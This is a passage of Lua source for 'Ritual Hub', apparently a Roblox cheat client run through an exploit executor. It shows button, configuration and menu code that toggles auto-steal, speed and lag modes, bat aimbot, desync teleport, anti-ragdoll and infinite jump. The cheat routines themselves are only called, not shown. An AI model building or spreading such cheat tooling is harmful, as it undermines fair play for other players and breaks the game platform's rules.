laggerModeEnabled = on
if on then carrySpeedActive = false end
if refreshSpeedModeLabel then refreshSpeedModeLabel() end
if _GACC.safeLaggerVisual then _GACC.safeLaggerVisual(on) end
if _GACC.safeCarryVisual then _GACC.safeCarryVisual(carrySpeedActive) end
if mobBtnRefs.lagger then mobBtnRefs.lagger(on) end
if mobBtnRefs.carrySpeed then mobBtnRefs.carrySpeed(carrySpeedActive) end
end,
LaggerCarry = function(on)
laggerModeEnabled = on
carrySpeedActive = on
if refreshSpeedModeLabel then refreshSpeedModeLabel() end
if _GACC.safeLaggerVisual then _GACC.safeLaggerVisual(laggerModeEnabled) end
if _GACC.safeCarryVisual then _GACC.safeCarryVisual(carrySpeedActive) end
if mobBtnRefs.lagger then mobBtnRefs.lagger(laggerModeEnabled) end
if mobBtnRefs.carrySpeed then mobBtnRefs.carrySpeed(carrySpeedActive) end
end,
InstantReset = function(on)
if on then instantReset() end
end,
TpBat = function(on)
if on then _GACC.exclusiveStop("batTp") end
batDesyncTpEnabled = on
if on then startBatDesyncTp() else stopBatDesyncTp() end
if batDesyncTpSetVisual then batDesyncTpSetVisual(on) end
end,
}
local DRAG_THRESHOLD = 6
local function makeButton(name, text, defaultActive, order)
local index = order - 1
local col = index % COLS
local row = math.floor(index / COLS)
local px = col * (BTN_W + GAP_X)
local py = row * (BTN_H + GAP_Y)
local holder = Instance.new("Frame")
holder.Name = name
holder.LayoutOrder = order
holder.BackgroundTransparency = 1
holder.Size = UDim2.fromOffset(BTN_W, BTN_H)
holder.Position = UDim2.fromOffset(px, py)
holder.Parent = main
local scale = Instance.new("UIScale")
scale.Parent = holder
local bg = Instance.new("Frame")
bg.Name = "BG"
bg.Size = UDim2.fromScale(1, 1)
bg.BackgroundColor3 = DARK
bg.BorderSizePixel = 0
bg.ZIndex = 1
bg.Parent = holder
local c = Instance.new("UICorner")
c.CornerRadius = UDim.new(0, CORNER)
c.Parent = bg
local grad = Instance.new("UIGradient")
grad.Rotation = 90
grad.Color = ColorSequence.new(B_TOP, B_BOT)
grad.Enabled = false
grad.Parent = bg
local b = Instance.new("TextButton")
b.Name = "Btn"
b.Size = UDim2.fromScale(1, 1)
b.BackgroundTransparency = 1
b.AutoButtonColor = false
b.BorderSizePixel = 0
b.ZIndex = 2
b.Text = text
b.TextColor3 = WHITE
b.TextTransparency = 0
b.TextSize = TXT
b.Font = Enum.Font.GothamBlack
b.TextWrapped = true
b.LineHeight = 1.15
b.Parent = holder
local state = defaultActive
-- Ritual Hub press feel: squash to 0.88, spring back with Back easing.
local function punch()
scale.Scale = 0.88
TweenService:Create(scale, TweenInfo.new(0.18, Enum.EasingStyle.Back, Enum.EasingDirection.Out), { Scale = 1 }):Play()
end
local function paint(animate)
TweenService:Create(bg, TweenInfo.new(0.15), { BackgroundColor3 = state and ACTIVE_BLUE or DARK }):Play()
b.TextColor3 = WHITE
if animate then punch() end
end
local function flash()
punch()
TweenService:Create(bg, TweenInfo.new(0.07), { BackgroundColor3 = ACTIVE_BLUE }):Play()
task.delay(0.25, function()
TweenService:Create(bg, TweenInfo.new(0.2), { BackgroundColor3 = DARK }):Play()
end)
end
bg.BackgroundColor3 = state and ACTIVE_BLUE or DARK
b.TextColor3 = WHITE
local savedPos = _GACC.mobileButtonPositions[name]
if savedPos then
holder.Position = UDim2.new(0, savedPos.X or px, 0, savedPos.Y or py)
end
local dragging, dragMoved, dragStart, startPos, heldInput = false, false, nil, nil, nil
local function release()
TweenService:Create(scale, TweenInfo.new(0.12, Enum.EasingStyle.Back, Enum.EasingDirection.Out), { Scale = 1 }):Play()
end
b.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragMoved = false
heldInput = input
dragStart = input.Position
startPos = holder.Position
holder.ZIndex = 10
TweenService:Create(scale, TweenInfo.new(0.08), { Scale = 0.94 }):Play()
end
end)
UIS.InputChanged:Connect(function(input)
if mobileButtonsLocked then return end -- taps still register, dragging does not
if not dragging or not heldInput then return end
local ok = input == heldInput or (input.UserInputType == Enum.UserInputType.MouseMovement and heldInput.UserInputType == Enum.UserInputType.MouseButton1)
if not ok then return end
local delta = input.Position - dragStart
if not dragMoved and delta.Magnitude > DRAG_THRESHOLD then
dragMoved = true
end
if dragMoved then
holder.Position = UDim2.new(
startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y
)
end
end)
b.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
if dragging then
dragging = false
heldInput = nil
release()
if not dragMoved then
local fn = Actions[name]
if MOMENTARY[name] then
flash()
if fn then task.spawn(fn, true) end
else
state = not state
paint(true)
if fn then task.spawn(fn, state) end
end
_GACC.mobileButtonPositions[name] = { X = holder.Position.X.Offset, Y = holder.Position.Y.Offset }
saveConfig()
else
_GACC.mobileButtonPositions[name] = { X = holder.Position.X.Offset, Y = holder.Position.Y.Offset }
saveConfig()
end
end
end
end)
UIS.InputEnded:Connect(function(input)
if dragging and (input == heldInput or input.UserInputType == Enum.UserInputType.MouseButton1) then
dragging = false
heldInput = nil
release()
end
end)
b.MouseLeave:Connect(release)
mobileButtonRefs[name] = {
holder = holder,
setState = function(on)
if state == on then return end
state = on
paint()
end,
getState = function() return state end
}
mobileButtonStates[name] = state
return holder
end
for i, info in ipairs(DATA) do
makeButton(info[1], info[2], info[3], i)
end
UIS.InputBegan:Connect(function(input, gpe)
if gpe then return end
if input.KeyCode == Enum.KeyCode.RightShift then
main.Visible = not main.Visible
end
end)
end
pcall(function()
if not(isfile and isfile(_GACC.CFG_FILE)) then return end
local ok,d=pcall(function() return HS:JSONDecode(readfile(_GACC.CFG_FILE)) end)
if ok and type(d)=="table" and type(d.mobileButtonPositions)=="table" then
_GACC.mobileButtonPositions = d.mobileButtonPositions
end
end)
setupMobileButtons()
local function updateMobileButtonState(name, state)
if mobileButtonRefs[name] then
mobileButtonRefs[name].setState(state)
end
end
local origToggleCarry = toggleCarryMode
toggleCarryMode = function()
origToggleCarry()
updateMobileButtonState("CarrySpeed", carrySpeedActive)
updateMobileButtonState("LaggerNormal", laggerModeEnabled and not carrySpeedActive)
updateMobileButtonState("LaggerCarry", laggerModeEnabled and carrySpeedActive)
end
local origToggleLagger = toggleLaggerMode
toggleLaggerMode = function()
origToggleLagger()
updateMobileButtonState("LaggerNormal", laggerModeEnabled and not carrySpeedActive)
updateMobileButtonState("LaggerCarry", laggerModeEnabled and carrySpeedActive)
end
task.spawn(function()
while true do
task.wait(0.2)
if mobileButtonRefs.DropBrainrot then
updateMobileButtonState("DropBrainrot", false)
updateMobileButtonState("AutoLeft", autoLeftEnabled)
updateMobileButtonState("BatAimbot", autoBatEnabled)
updateMobileButtonState("AutoRight", autoRightEnabled)
updateMobileButtonState("TpDown", false)
updateMobileButtonState("CarrySpeed", carrySpeedActive)
updateMobileButtonState("LaggerNormal", laggerModeEnabled and not carrySpeedActive)
updateMobileButtonState("LaggerCarry", laggerModeEnabled and carrySpeedActive)
updateMobileButtonState("InstantReset", false)
updateMobileButtonState("TpBat", batDesyncTpEnabled)
end
end
end)
pcall(function()
if not(isfile and isfile(_GACC.CFG_FILE)) then return end
local ok,d=pcall(function() return HS:JSONDecode(readfile(_GACC.CFG_FILE)) end)
if not(ok and type(d)=="table") then return end
if type(d.normalSpeed)=="number" and d.normalSpeed>0 then NS=d.normalSpeed end
if type(d.carrySpeed)=="number" and d.carrySpeed>0 then CS=d.carrySpeed end
if type(d.laggerSpeed)=="number" and d.laggerSpeed>0 then LAGGER_SPEED=d.laggerSpeed end
if type(d.laggerCarrySpeed)=="number" and d.laggerCarrySpeed>0 then LAGGER_CARRY_SPEED=d.laggerCarrySpeed end
if type(d.carrySpeedActive)=="boolean" then carrySpeedActive=d.carrySpeedActive end
if type(d.laggerModeEnabled)=="boolean" then laggerModeEnabled=d.laggerModeEnabled end
if type(d.antiRagdoll)=="boolean" then antiRagdollEnabled=d.antiRagdoll end
if type(d.infiniteJump)=="boolean" then infJumpEnabled=d.infiniteJump end
if type(d.infJumpMode)=="string" then infJumpMode=d.infJumpMode end
if type(d.medusaCounter)=="boolean" then medusaCounterEnabled=d.medusaCounter end
if type(d.autoStealEnabled)=="boolean" then Steal.AutoStealEnabled=d.autoStealEnabled end
if d.stealMode=="op" then stealMode="v1" -- OP retired; V1 is its closest preset
elseif type(d.stealMode)=="string" and (d.stealMode=="normal" or d.stealMode=="semi" or _GACC.isVersionMode(d.stealMode)) then stealMode=d.stealMode end
if type(d.grabRadius)=="number" then Steal.StealRadius=d.grabRadius end
if type(d.stealDuration)=="number" then Steal.StealDuration=d.stealDuration end
local savedOPRadius=d.opRadius or d.opPrimeRange or d.semiPrimeRange
if type(savedOPRadius)=="number" then SemiSteal.CONFIG.RADIUS=math.clamp(savedOPRadius,1,500) end
if type(d.opDuration)=="number" then SemiSteal.CONFIG.DURATION=math.clamp(d.opDuration,.05,10) end
local savedOPDelayRadius=d.opDelayRadius or d.delayRadius
if type(savedOPDelayRadius)=="number" then SemiSteal.CONFIG.DELAY_RADIUS=math.clamp(savedOPDelayRadius,1,500) end
if type(d.opStopTime)=="number" then SemiSteal.CONFIG.STOP_TIME=math.clamp(d.opStopTime,.05,10) end
if type(d.opStopTimeEnabled)=="boolean" then SemiSteal.CONFIG.STOP_TIME_ENABLED=d.opStopTimeEnabled end
if type(d.autoSwing)=="boolean" then autoSwingEnabled=d.autoSwing end
if type(d.unwalkEnabled)=="boolean" then unwalkEnabled=d.unwalkEnabled end
if type(d.antiLag)=="boolean" then antiLagEnabled=d.antiLag end
if type(d.stretchRez)=="boolean" then stretchRezEnabled=d.stretchRez end
if type(d.autoTPEnabled)=="boolean" then autoTPEnabled=d.autoTPEnabled end
if type(d.autoTPHeight)=="number" then autoTPHeight=d.autoTPHeight end
if type(d.fovValue)=="number" then fovValue=d.fovValue end
if type(d.fovIndex)=="number" then fovIndex=d.fovIndex end
if type(d.skyTheme)=="string" then currentSkyTheme=d.skyTheme end
if type(d.autoMoveSwing)=="boolean" then autoMoveSwingEnabled=d.autoMoveSwing end
if type(d.autoMoveSwingInterval)=="number" then autoMoveSwingInterval=d.autoMoveSwingInterval end
if type(d.ragdollGui)=="boolean" then ragdollGuiEnabled=d.ragdollGui end
if type(d.mobileButtonsEnabled)=="boolean" then mobileButtonsEnabled=d.mobileButtonsEnabled end
if type(d.mobileButtonsSize)=="number" then mobileButtonsSize=d.mobileButtonsSize end
if type(d.circleButtonsEnabled)=="boolean" then circleButtonsEnabled=d.circleButtonsEnabled end
if type(d.introSoundEnabled)=="boolean" then introSoundEnabled=d.introSoundEnabled end
if type(d.medusaResetEnabled)=="boolean" then _GACC.medusaResetEnabled=d.medusaResetEnabled end
if type(d.antiSummerBaseEnabled)=="boolean" then
if d.antiSummerBaseEnabled then AntiSummer.enable() else AntiSummer.disable() end
end
if type(d.antiDieEnabled)=="boolean" then antiDieEnabled=d.antiDieEnabled end -- NEW
animEnabled=false
local savedPack=type(d.animationPack)=="string" and d.animationPack or d.animPack
if type(savedPack)=="string" then _GACC.extras.setPack(savedPack,false) end
if type(d.headlessEnabled)=="boolean" then _GACC.extras.setHeadless(d.headlessEnabled) end
if type(d.korbloxEnabled)=="boolean" then _GACC.extras.setKorblox(d.korbloxEnabled) end
if type(d.backgroundEnabled)=="boolean" then backgroundEnabled=d.backgroundEnabled end
if type(d.backgroundIndex)=="number" then backgroundIndex=d.backgroundIndex end
if type(d.playerHighlightEnabled)=="boolean" then _GACC.playerHighlightEnabled=d.playerHighlightEnabled end
if type(d.colorThemeName)=="string" and THEME_DEFS[d.colorThemeName] then currentColorTheme=d.colorThemeName end
if type(d.autoSwitchSpeed)=="boolean" then autoSwitchSpeedEnabled=d.autoSwitchSpeed end
if type(d.autoCarrySpeedEnabled)=="boolean" then _GACC.autoCarrySpeedEnabled=d.autoCarrySpeedEnabled end
if type(d.mobileButtonPositions)=="table" then _GACC.mobileButtonPositions = d.mobileButtonPositions end
-- NEW SCALES
if type(d.menuScale)=="number" and d.menuScale>0 then menuScale=d.menuScale end
if type(d.mobileBtnScale)=="number" and d.mobileBtnScale>0 then mobileBtnScale=d.mobileBtnScale end
if type(d.stealBarScale)=="number" and d.stealBarScale>0 then stealBarScale=d.stealBarScale end
if type(d.uiLocked)=="boolean" then uiLocked=d.uiLocked end
if d.afterDrop=="Off" or d.afterDrop=="Bat Aimbot" or d.afterDrop=="Bat TP" then _GACC.afterDrop=d.afterDrop end
if type(d.batDesyncTpEnabled)=="boolean" then batDesyncTpEnabled=d.batDesyncTpEnabled end
if type(d.batCounter)=="boolean" then _GACC.batCounterEnabled=d.batCounter end
if d.dropType=="Stand" or d.dropType=="Jump" then _GACC.dropType=d.dropType end
if type(d.mobileButtonsLocked)=="boolean" then mobileButtonsLocked=d.mobileButtonsLocked end
if type(d.safeModeEnabled)=="boolean" then _GACC.safeModeEnabled=d.safeModeEnabled end
if type(d.uiPositions)=="table" then _GACC.uiPositions=d.uiPositions end
end)
pcall(function()
task.spawn(function() task.wait(.5); _GACC.extras.applyPack(_GACC.extras.getPack()) end)
if _GACC.extras.getHeadless() or _GACC.extras.getKorblox() then task.spawn(function() task.wait(.3); local char=LP.Character; if char then _GACC.extras.onCharacter(char) end end) end
if antiLagEnabled then task.spawn(function() task.wait(1); if enableAntiLag then enableAntiLag() end end) end
if stretchRezEnabled then task.spawn(function() task.wait(0.5); if enableStretchRez then enableStretchRez() end end) end
if antiRagdollEnabled then task.spawn(function() task.wait(0.5); if startAntiRagdoll then startAntiRagdoll() end end) end
if infJumpEnabled then task.spawn(function() task.wait(0.5); if setInfJumpInternal then setInfJumpInternal(true) end end) end
if Steal.AutoStealEnabled then task.spawn(function() task.wait(1); if startAutoSteal then startAutoSteal() end end) end
if medusaCounterEnabled then task.spawn(function() task.wait(1); local char=LP.Character; if char and setupMedusa then setupMedusa(char) end end) end
if autoTPEnabled then task.spawn(function() task.wait(0.5); if startAutoTP then startAutoTP() end end) end
if currentSkyTheme and currentSkyTheme ~= "" then task.spawn(function() task.wait(1); if CandyApplyCustomSky then CandyApplyCustomSky(currentSkyTheme) end end) end
if _GACC.medusaResetEnabled then
task.spawn(function()
task.wait(1)
_GACC.startMedusaReset(LP.Character)
end)
end
if AntiSummer.antiSummerBaseEnabled then
task.spawn(function() AntiSummer.enable() end)
end
if antiDieEnabled then -- NEW: start Anti Die on load
task.spawn(function()
task.wait(1)
startAntiDie()
end)
end
end)
_GACC.GuiToggleSetters = {}
-- ==================== MAIN GUI ====================
;(function()
local GuiRefs = {}
local _thm0 = THEME_DEFS[currentColorTheme] or THEME_DEFS.RAIN
local _ACC = {accent=_thm0.accent,accentDark=_thm0.accentDark,accentBg=_thm0.accentBg,accentHover=_thm0.accentHover,accentRowHover=_thm0.accentRowHover}
local _themeSeps,_themeScrollbars,_themeSectRefs,_themeTabBtns={},{},{},{}
local _themeTabInds,_themeActBtns,_themeKbLabels,_themeSwatchStrokes={},{},{},{}
local _themeToggleRefs={}
local applyColorTheme
local C={
bg=Color3.fromRGB(2,7,13), bgDark=Color3.fromRGB(0,3,8), row=Color3.fromRGB(7,15,24),
input=Color3.fromRGB(5,16,29), blue=_ACC.accent, blueDim=Color3.fromRGB(73,105,135),
blueDark=Color3.fromRGB(7,22,38), text=Color3.fromRGB(240,247,255), textDim=Color3.fromRGB(155,177,199),
textMuted=Color3.fromRGB(96,117,138), white=Color3.fromRGB(255,255,255), divider=Color3.fromRGB(25,53,78),
green=Color3.fromRGB(80,220,120),
yellow=Color3.fromRGB(255,220,0), yellowDim=Color3.fromRGB(160,130,0),
accent=_ACC.accent, accentDark=_ACC.accentDark, accentBg=_ACC.accentBg,
accentHover=_ACC.accentHover, accentRowHover=_ACC.accentRowHover,
}
local function guiCorner(p,r) local c=Instance.new("UICorner");c.CornerRadius=UDim.new(0,r or 10);c.Parent=p;return c end
local function guiStroke(p,col,t) local s=Instance.new("UIStroke");s.Color=col or Color3.fromRGB(60,60,70);s.Thickness=t or 1;s.Parent=p;return s end
local function tw(obj,props,ti) TweenService:Create(obj,ti or TweenInfo.new(0.22,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),props):Play() end
local function _accentGrad(t)
local a=_ACC.accent; local d=_ACC.accentDark
local pulse=math.sin(t*0.7)*0.14
local aR=math.clamp(math.floor(a.R*255*(1+pulse)),0,255)
local aG=math.clamp(math.floor(a.G*255*(1+pulse)),0,255)
local aB=math.clamp(math.floor(a.B*255*(1+pulse)),0,255)
local dR=math.clamp(math.floor(d.R*255*(0.75+pulse*0.25)),0,255)
local dG=math.clamp(math.floor(d.G*255*(0.75+pulse*0.25)),0,255)
local dB=math.clamp(math.floor(d.B*255*(0.75+pulse*0.25)),0,255)
return ColorSequence.new({
ColorSequenceKeypoint.new(0, Color3.fromRGB(dR,dG,dB)),
ColorSequenceKeypoint.new(0.3, Color3.fromRGB(aR,aG,aB)),
ColorSequenceKeypoint.new(0.6, Color3.fromRGB(255,255,255)),
ColorSequenceKeypoint.new(0.82,Color3.fromRGB(aR,aG,aB)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(dR,dG,dB)),
})
end
local function makeDraggable_cyber(dragTarget, moveTarget, saveKey)
moveTarget = moveTarget or dragTarget
local dragging, dragInput, dragStart, startPos = false
dragTarget.InputBegan:Connect(function(input)
if uiLocked then return end
if input.UserInputType==Enum.UserInputType.MouseButton1 or input.UserInputType==Enum.UserInputType.Touch then
dragging=true; dragStart=input.Position; startPos=moveTarget.Position
input.Changed:Connect(function()
if input.UserInputState==Enum.UserInputState.End then
if dragging then
dragging=false
if saveKey and _GACC.saveUiPos then _GACC.saveUiPos(saveKey,moveTarget) end
end
end
end)
end
end)
dragTarget.InputChanged:Connect(function(input)
if input.UserInputType==Enum.UserInputType.MouseMovement or input.UserInputType==Enum.UserInputType.Touch then dragInput=input end
end)
UIS.InputChanged:Connect(function(input)
if uiLocked then dragging=false; return end
if input==dragInput and dragging then
local delta=input.Position-dragStart
moveTarget.Position=UDim2.new(startPos.X.Scale,startPos.X.Offset+delta.X,startPos.Y.Scale,startPos.Y.Offset+delta.Y)
end
end)
end
local Keys={
circle=Enum.KeyCode.E, speed=Enum.KeyCode.Q, carryMode=Enum.KeyCode.C,
laggerToggle=Enum.KeyCode.K, guiHide=Enum.KeyCode.RightControl,
dropBrainrot=Enum.KeyCode.H, tpDown=Enum.KeyCode.T,
autoLeft=Enum.KeyCode.J, autoRight=Enum.KeyCode.L,
batDesyncTp=Enum.KeyCode.X,
instantReset=Enum.KeyCode.R
}
pcall(function()
if not(isfile and isfile(_GACC.CFG_FILE)) then return end
local ok,d=pcall(function() return HS:JSONDecode(readfile(_GACC.CFG_FILE)) end)
if ok and type(d)=="table" and type(d.keys)=="table" then
for k,v in pairs(d.keys) do
local ok2,kc=pcall(function() return Enum.KeyCode[v] end)
if ok2 and kc and kc~=Enum.KeyCode.Unknown then Keys[k]=kc end
end
end
end)
_GuiKeys = Keys
local PlayerGui = LP:WaitForChild("PlayerGui")
local GuiHub=Instance.new("ScreenGui")
GuiHub.Name="RitualHub"; GuiHub.ResetOnSpawn=false
GuiHub.ZIndexBehavior=Enum.ZIndexBehavior.Sibling; GuiHub.Parent=PlayerGui
GuiRefs.hub=GuiHub
local Outer=Instance.new("Frame")
Outer.Name="Outer"; Outer.Size=UDim2.new(0,310,0,410); Outer.Position=UDim2.new(0,-330,0,80)
Outer.BackgroundTransparency=1; Outer.BorderSizePixel=0; Outer.ClipsDescendants=false; Outer.Parent=GuiHub
Outer:GetPropertyChangedSignal("Size"):Connect(function() if Outer.Size~=UDim2.fromOffset(310,410) then Outer.Size=UDim2.fromOffset(310,410) end end)
GuiRefs.outer=Outer
-- Add Menu Scale UIScale
local menuScaleObj = Instance.new("UIScale")
menuScaleObj.Name = "MenuScale"
menuScaleObj.Scale = menuScale
menuScaleObj.Parent = Outer
_GACC.menuScaleObj = menuScaleObj -- store in global table
local Inner=Instance.new("Frame")
Inner.Name="Inner"; Inner.ClipsDescendants=false; Inner.Size=UDim2.new(1,0,1,0)
Inner.BackgroundColor3=C.bg; Inner.BackgroundTransparency=.70; Inner.BorderSizePixel=0; Inner.Parent=Outer
innerPanelRef=Inner
guiCorner(Inner,14)
local _innerStroke=guiStroke(Inner,_ACC.accentDark,1.5); GuiRefs.inner=Inner
_innerStroke.Color=_ACC.accentDark
_innerStroke.Thickness=1.2
local openScale=Instance.new("UIScale",Inner); openScale.Scale=0.94
TweenService:Create(openScale,TweenInfo.new(0.42,Enum.EasingStyle.Back,Enum.EasingDirection.Out),{Scale=1}):Play()
task.delay(.45,function()
if not openScale.Parent then return end
openScale.Scale=1
openScale:GetPropertyChangedSignal("Scale"):Connect(function() if openScale.Scale~=1 then openScale.Scale=1 end end)
end)
local cornerL=Instance.new("Frame",Inner)
cornerL.Size=UDim2.new(0,18,0,2); cornerL.Position=UDim2.new(0,8,1,-9)
cornerL.BackgroundColor3=_GACC.accentDark; cornerL.BackgroundTransparency=0.25; cornerL.BorderSizePixel=0; cornerL.ZIndex=10; cornerL.Visible=false
local cornerLV=Instance.new("Frame",Inner)
cornerLV.Size=UDim2.new(0,2,0,8); cornerLV.Position=UDim2.new(0,8,1,-15)
cornerLV.BackgroundColor3=_GACC.accentDark; cornerLV.BackgroundTransparency=0.25; cornerLV.BorderSizePixel=0; cornerLV.ZIndex=10; cornerLV.Visible=false
local cornerR=Instance.new("Frame",Inner)
cornerR.Size=UDim2.new(0,18,0,2); cornerR.Position=UDim2.new(1,-26,1,-9)
cornerR.BackgroundColor3=_GACC.accentDark; cornerR.BackgroundTransparency=0.25; cornerR.BorderSizePixel=0; cornerR.ZIndex=10; cornerR.Visible=false
local cornerRV=Instance.new("Frame",Inner)
cornerRV.Size=UDim2.new(0,2,0,8); cornerRV.Position=UDim2.new(1,-10,1,-15)
cornerRV.BackgroundColor3=_GACC.accentDark; cornerRV.BackgroundTransparency=0.25; cornerRV.BorderSizePixel=0; cornerRV.ZIndex=10; cornerRV.Visible=false
table.insert(_themeExtRefs,{callback=function(thm)
pcall(function()
cornerL.BackgroundColor3=thm.accentDark; cornerLV.BackgroundColor3=thm.accentDark
cornerR.BackgroundColor3=thm.accentDark; cornerRV.BackgroundColor3=thm.accentDark
end)
end})
task.spawn(function()
local bright=false
while Inner and Inner.Parent do
bright=not bright
TweenService:Create(_innerStroke,TweenInfo.new(1.4,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{
Transparency=bright and .34 or .68,
Color=bright and _GACC.accent or _GACC.accentDark
}):Play()
task.wait(1.4)
end
end)
Outer.Position=UDim2.new(0,20,0,80)
do local mp=_GACC.getUiPos and _GACC.getUiPos("menu"); if mp then Outer.Position=mp end end
do
local BgCont=Instance.new("Frame")
BgCont.Name="BackgroundContainer"; BgCont.Size=UDim2.new(1,0,1,0)
BgCont.BackgroundTransparency=1; BgCont.ZIndex=0; BgCont.Parent=Inner
local BgGrad=Instance.new("Frame")
BgGrad.Name="BgGrad"; BgGrad.Size=UDim2.new(1,0,1,0); BgGrad.BackgroundColor3=C.bgDark
BgGrad.BackgroundTransparency=1; BgGrad.BorderSizePixel=0; BgGrad.ZIndex=0; BgGrad.Parent=BgCont; guiCorner(BgGrad,12)
bgGradientRef=BgGrad
local grad=Instance.new("UIGradient")
grad.Color=ColorSequence.new({
ColorSequenceKeypoint.new(0, Color3.fromRGB(0,5,12)),
ColorSequenceKeypoint.new(0.35,Color3.fromRGB(4,18,32)),
ColorSequenceKeypoint.new(0.65,Color3.fromRGB(6,25,44)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(1,8,17)),
})
grad.Rotation=135; grad.Parent=BgGrad; GuiRefs.bgGrad=BgGrad
task.spawn(function()
local t=0
while grad and grad.Parent do
t=t+0.012
grad.Offset=Vector2.new(math.sin(t)*0.12,math.cos(t*0.7)*0.08)
grad.Rotation=135+math.sin(t*0.5)*8
task.wait(0.04)
end
end)
local RainLayer=Instance.new("Frame",BgCont)
RainLayer.Name="RainEffect"
RainLayer.Size=UDim2.fromScale(1,1)
RainLayer.BackgroundTransparency=1
RainLayer.BorderSizePixel=0
RainLayer.ClipsDescendants=true
RainLayer.Active=false
RainLayer.ZIndex=1
RainLayer.Visible=false
rainLayerRef=RainLayer
guiCorner(RainLayer,12)
local rainHaze=Instance.new("Frame",RainLayer)
rainHaze.Size=UDim2.new(1,0,.42,0); rainHaze.BackgroundColor3=_ACC.accentBg; rainHaze.BackgroundTransparency=.72; rainHaze.BorderSizePixel=0; rainHaze.ZIndex=0
local hazeGrad=Instance.new("UIGradient",rainHaze); hazeGrad.Rotation=90; hazeGrad.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,.18),NumberSequenceKeypoint.new(1,1)})
for index=1,28 do
local glow=Instance.new("Frame",RainLayer)
glow.Name="RainGlow"..index; glow.AnchorPoint=Vector2.new(.5,.5); glow.Size=UDim2.fromOffset(index%6==0 and 4 or 2,20+(index%7)*4)
glow.BackgroundColor3=_ACC.accent; glow.BackgroundTransparency=.94; glow.BorderSizePixel=0; glow.Rotation=13; glow.ZIndex=0; guiCorner(glow,4)
local drop=Instance.new("Frame",RainLayer)
drop.Name="Drop"..index
drop.AnchorPoint=Vector2.new(0.5,0.5)
drop.Size=UDim2.fromOffset(index%7==0 and 2 or 1,14+(index%8)*3)
drop.BackgroundColor3=index%5==0 and Color3.fromRGB(235,247,255) or _ACC.accent
drop.BackgroundTransparency=0.34+(index%5)*0.08
drop.BorderSizePixel=0
drop.Rotation=13
drop.ZIndex=1
guiCorner(drop,2)
local dropGrad=Instance.new("UIGradient",drop); dropGrad.Color=ColorSequence.new({ColorSequenceKeypoint.new(0,Color3.fromRGB(245,252,255)),ColorSequenceKeypoint.new(1,_ACC.accent)}); dropGrad.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,.62),NumberSequenceKeypoint.new(.35,0),NumberSequenceKeypoint.new(1,.28)}); dropGrad.Rotation=90
local splash=Instance.new("Frame",RainLayer); splash.AnchorPoint=Vector2.new(.5,.5); splash.Size=UDim2.fromOffset(2,1); splash.BackgroundColor3=_ACC.accent; splash.BackgroundTransparency=1; splash.BorderSizePixel=0; splash.ZIndex=1; guiCorner(splash,2)
task.spawn(function()
task.wait((index%14)*0.065)
while drop and drop.Parent do
local x=math.random(3,102)/100
local duration=0.5+(index%11)*0.068
drop.Position=UDim2.new(x,0,0,-24)
glow.Position=UDim2.new(x,0,0,-24)
drop.BackgroundColor3=index%5==0 and Color3.fromRGB(235,247,255) or _GACC.accent
glow.BackgroundColor3=_GACC.accent
local fall=TweenService:Create(drop,TweenInfo.new(duration,Enum.EasingStyle.Linear),{
Position=UDim2.new(x-0.13,0,1,34)
})
TweenService:Create(glow,TweenInfo.new(duration,Enum.EasingStyle.Linear),{Position=UDim2.new(x-0.13,0,1,34)}):Play()
fall:Play()
fall.Completed:Wait()
splash.Position=UDim2.new(x-0.13,0,1,-4); splash.Size=UDim2.fromOffset(2,1); splash.BackgroundColor3=_GACC.accent; splash.BackgroundTransparency=index%3==0 and .48 or 1
TweenService:Create(splash,TweenInfo.new(.18,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{Size=UDim2.fromOffset(10,1),BackgroundTransparency=1}):Play()
task.wait(0.025+(index%4)*0.025)
end
end)
end
local BgImg=Instance.new("ImageLabel")
BgImg.Name="BackgroundImage"; BgImg.Size=UDim2.new(1,0,1,0); BgImg.BackgroundTransparency=1
BgImg.Image=""; BgImg.ScaleType=Enum.ScaleType.Stretch; BgImg.ZIndex=0; BgImg.Visible=false
BgImg.Parent=BgCont; local BgImgCorner=guiCorner(BgImg,12); GuiRefs.backgroundImage=BgImg; bgImageRef=BgImg
bgImageContainer=BgCont; bgImageCorner=BgImgCorner
applyBackgroundImage()
local HF=Instance.new("Frame")
HF.Name="HeaderFrame"; HF.Size=UDim2.new(1,0,0,74); HF.BackgroundTransparency=1
HF.BorderSizePixel=0; HF.Parent=Inner; HF.ZIndex=2
makeDraggable_cyber(HF, Outer, "menu")
do
local headerPlate=Instance.new("Frame",HF)
headerPlate.Name="PrivateHeaderPlate"; headerPlate.Position=UDim2.new(0,6,0,5); headerPlate.Size=UDim2.new(1,-12,0,61)
headerPlate.BackgroundColor3=Color3.fromRGB(5,20,36); headerPlate.BackgroundTransparency=.72; headerPlate.BorderSizePixel=0; headerPlate.ZIndex=2
guiCorner(headerPlate,10)
local plateStroke=guiStroke(headerPlate,_ACC.accentDark,1); plateStroke.Transparency=.20
local plateGrad=Instance.new("UIGradient",headerPlate)
plateGrad.Color=ColorSequence.new({ColorSequenceKeypoint.new(0,Color3.fromRGB(8,42,76)),ColorSequenceKeypoint.new(.48,Color3.fromRGB(4,22,40)),ColorSequenceKeypoint.new(1,Color3.fromRGB(1,9,18))})
plateGrad.Rotation=12
local topLine=Instance.new("Frame",HF)
topLine.Position=UDim2.new(0,28,0,6); topLine.Size=UDim2.new(0,116,0,2); topLine.BackgroundColor3=_ACC.accent; topLine.BorderSizePixel=0; topLine.ZIndex=3
guiCorner(topLine,2)
local lineFade=Instance.new("UIGradient",topLine)
lineFade.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,.15),NumberSequenceKeypoint.new(.72,.48),NumberSequenceKeypoint.new(1,1)})
end
local TL=Instance.new("TextLabel")
TL.Position=UDim2.new(0,28,0,13); TL.Size=UDim2.new(0,68,0,27); TL.BackgroundTransparency=1
TL.Text="RITUAL"; TL.TextColor3=C.text; TL.TextSize=18; TL.Font=Enum.Font.GothamBold
